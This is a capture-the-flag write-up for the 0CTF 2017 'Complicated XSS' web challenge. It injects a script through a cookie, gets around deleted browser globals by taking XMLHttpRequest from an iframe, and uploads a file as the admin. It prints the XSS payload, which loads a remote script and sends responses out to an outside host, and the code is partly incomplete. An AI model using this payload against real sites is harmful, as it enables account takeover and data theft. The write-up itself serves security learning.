#CTF | #Web | #XSS

March 20, 2017

0CTF 2017 - Complicated XSS

Cookie Monster…


Does this look familiar?

XSS Book

The flag is in http://admin.government.vip:8000
Bruteforce and scanning are not needed!
Admin will be hit by your payload


Login to admin page with pre-populated test account, we can see there are two cookies: username and session, and the page says “only admin can upload shell”. Seems like we need to XSS admin to upload something. The session cookie is an HTTP cookie that cannot be accessed by script. The username cookie however, is an XSS point. Server reads username cookie content and displayed it as raw HTML.

Now comes the tricky part: in the document header of admin page, some core component is stripped out. Making AJAX call will fail since there’s no XMLHttpRequest. I also tried Fetch API which works locally but server’s browser doesn’t support it.

delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;

Poking around and I found out that the embedded iframe element still have XMLHttpRequest.

Another trick that blocked me for quite a while is that the admin page only renders upload form if username cookie is “admin”. So we need to reset cookie and fetch admin page again to see what parameters are needed for upload. Otherwise, it keeps hitting 400: bad request.

<h1>Hello admin</h1>

<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></input></p>
<p><input type="submit" value="upload">

Here’s the XSS payload.

document.cookie="username=<iframe></iframe><script src='http://.../a.js'></script>;path=/;domain=.government.vip";



var xhr = new frames[0].XMLHttpRequest;
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4) {
    var result = xhr.responseText;
    result += ",";
    result += xhr.status;
    result += ",";
    result += xhr.getAllResponseHeaders();
    window.location="http://.../?a=" + btoa(result);

xhr.open('POST', '/upload', true);

var fblob = new Blob(["any content here"]);
var formData = new FormData();
formData.append("file", fblob);


Decoded response:

flag{xss_is_fun_2333333},200,Server: TornadoServer/4.4.2
Content-Length: 24
Content-Type: text/html; charset=utf-8

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